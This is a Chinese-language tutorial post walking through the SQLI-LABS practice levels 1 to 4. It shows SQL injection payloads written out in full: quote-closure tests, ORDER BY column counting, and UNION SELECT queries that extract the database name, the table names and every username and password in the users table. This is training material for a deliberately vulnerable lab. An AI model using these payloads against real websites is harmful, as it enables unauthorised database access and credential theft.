渗透攻击sql注入SQLI-LABS

Less-1

SQLI-LABS(Less-1)
在这里插入图片描述

打开Less-1页面,可以看到页面中间有一句Please input the ID as parameter with numeric value,那么先使用ID这个参数通过GET方式传入一个数值。

在这里插入图片描述

确定注入点

通过传入id=1看到页面上查询结果是有回显的,然后尝试一下?id=1’
在这里插入图片描述
可以看见页面出现了语法报错,说明id=1’导致SQL语句产生了歧义。通过报错信息可以看出闭合SQL语句时用的是单引号。

注意:
1.在sql语句中,单双引号都是成对存在的。
2.在浏览器的GET请求中,URL中#号是用来指导浏览器动作的(例如锚点),对服务器端无用。所以,HTTP请求中不包括#,因此使用#闭合无法注释,会报错。
3.使用-- 在传输过程中空格会被忽略,同样导致无法注释。所以在GET请求传参注入时可以使用–+的方式来闭合,因为+会被解释成空格。除此之外,可以使用%23代替#,使用–%20代替–+。
部分字符需要编译才能生效。

sql注释

注释语句即不会执行的代码。
在SQL注入中可以将查询条件注释掉
注释分为单行注释和多行注释

所以我们可以使用?id=1’ --+来进行闭合注释
在这里插入图片描述
接着使用注入语句?id=1’ and 1=1 --+和?id=1’ and 1=2 --+,发现注入第一条语句时正常回显,注入第二条语句时没有回显,由此判断存在注入点。

在这里插入图片描述
在这里插入图片描述
接着继续尝试?id=1’ order by 2–+,?id=1’ order by 3–+,当尝试到4时,发现页面报错了,说明该表依据第4列进行排序时,发生了错误,表明该表只有3列。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

确定回显字段

使用联合查询,看看是哪几列会回显到前端页面:
注入语句:?id=1’ and 1=2 union select 1,2,3 --+
在这里插入图片描述
这里使用and 1=2是为了让union之前的语句为假,从而不回显在前端页面,而union结果集中的列名总是等于union中第一个select语句中的列名,这样就可以通过前端页面的回显知道前端页面显示的数据表的第几列。

查看当前数据库名和用户

从上图中可以看出该数据表的第二列和第三列会回显在前端页面上,这样就可以通过数据库自带的函数:user()(查看当前用户)、database()(查看当前数据库)、version()(查看数据库版本)等替换2和3,注入得出连接数据库用户以及数据库名称。
注入语句:?id=1’ and 1=2 union select 1,database(),user() --+
在这里插入图片描述
通过上述注入可以得知,当前数据库名为security,当前用户为root,接着找出这个数据库中的所有数据表。

查看当前数据库内表名

mysql数据库初始化中就自带了数据库,例如:
information_schema库用于存储数据库的元数据,information_schema库中的schemata表存储了数据库中所有的库信息、tables表存储数据库中的表信息,包括表属于哪个数据库,表的类型、存储引擎等信息、columns表存储表中的列信息,比如表有多少列、每个列的类型等。

接着我们要显示出当前库中的所有表名,通过group_concat将相同分组中的结果进行连接:
注入语句:?id=1’ and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

在这里插入图片描述
通过上述注入可以得知当前数据库中存在emails、referers、uagents、users四张数据表。

显示users表中所有的用户名和密码

在这里插入图片描述
最后,就得到了当前表中所有的用户名和密码。

1至4关内容基本一致,存在细微的差异,就是使用字符闭合语句。

Less-2

?id=1 and 1=2 union select 1,group_concat(username),group_concat(password) from users --+
在这里插入图片描述

Less-3

?id=1’) and 1=2 union select 1,group_concat(username),group_concat(password) from users --+
在这里插入图片描述

Less-4

?id=1") and 1=2 union select 1,group_concat(username),group_concat(password) from users --+
在这里插入图片描述

  • 31
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值